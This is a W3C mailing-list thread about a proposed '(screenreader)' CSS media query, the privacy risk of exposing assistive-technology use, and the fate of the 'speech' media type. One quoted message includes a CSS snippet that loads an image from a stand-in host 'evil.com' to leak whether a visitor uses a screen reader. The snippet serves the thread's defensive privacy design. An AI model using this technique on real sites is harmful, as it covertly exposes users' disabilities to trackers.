Re: [css-speech][css-content][mediaqueries] Making Generated Content Accessible

> On Dec 2, 2014, at 3:38 PM, Florian Rivoal <florian@rivoal.net> wrote:
> 
>> 
>> On 02 Dec 2014, at 22:58, James Craig <jcraig@apple.com> wrote:
>> 
>> 
>>> On Dec 2, 2014, at 1:46 PM, Florian Rivoal <florian@rivoal.net> wrote:
>>> 
>>>> It'd be problematic to offer an unprotected "(screenreader)" media feature because it would offer any web page the ability to detect with a high degree of certainty that a visitor has a particular physical disability. In my opinion, it would be a privacy an personal security nightmare to implement *unless* CSS were to implement a media feature privacy model similar to the one defined in IndieUI User Context.
>>> 
>>> I agree that a privacy protecting model is worth having for something like this. However, unless I am missing something, the privacy model you propose doesn’t provide adequate protection. What prevents authors form doing this:
>>> 
>>> <style>
>>> @media (screenreader) { #snoop { background: url(http://www.evil.com/info-leak.gif); } }
>>> </style>
>>> <div id=“snoop”></div>
>> 
>> That wouldn't ever load the image until after the user had approved access. It would also not be subject to a timing attack because the prompt would not block.
> 
> Aha, sorry, I had misunderstood the model, and thought that this cloaking applied only to the js apis (window.matchMedia & window.userSetting), but that the CSS would apply regardless.
> 
> I was hoping (without seeing how it would be possible) you’d have a model which allows something to be applied while pretending it’s not, similar to the trick on :visited, but better.
> 
> Now I see how the model makes sense. Users can’t both have the media query apply and hide its usage at the same time, but they get to pick which one it is. I guess that’s reasonable. I am up for including this in the MQ spec, and will bring it up to the WG. Is the indie-UI spec expected to become a good stable reference for the definition of the privacy model? I’d rather not need to inline that part into MQs if we can avoid it.

That depends. I'd rather not have CSS dependent on an IndieUI deliverable, so perhaps we should break the privacy model into a separate spec referenced by both CSS MQ, IndieUI User Context, and perhaps other W3C features like Location API. That could reduce the complexity of each. Please discuss with the WG. If everyone is receptive to the adoption of a privacy model, we can decide next steps at that time.

> This raises 2 (related) questions. Is the introduction of this media feature sufficient to deprecate the “speech" media type into never matching? If not, can and should the same privacy model be applied to it?

My understanding is that the speech media type is *only* useful for linearized audio-only media not intended for the screen, since it is mutually exclusive with the screen media type. Most assistive technologies operate on some concept of a "screen" (including screen readers for the blind) so the speech media type should never apply to screen readers or ScreenMagnifier+Speech utilities, but its possible there is some use case. For example, if you were to turn an EPUB into a generated TTS audiobook, the speech media type could apply. I don't know if any implementations support that, but you'd probably want to check with someone from DAISY before making it a No-Op.

James

Received on Wednesday, 3 December 2014 03:44:04 UTC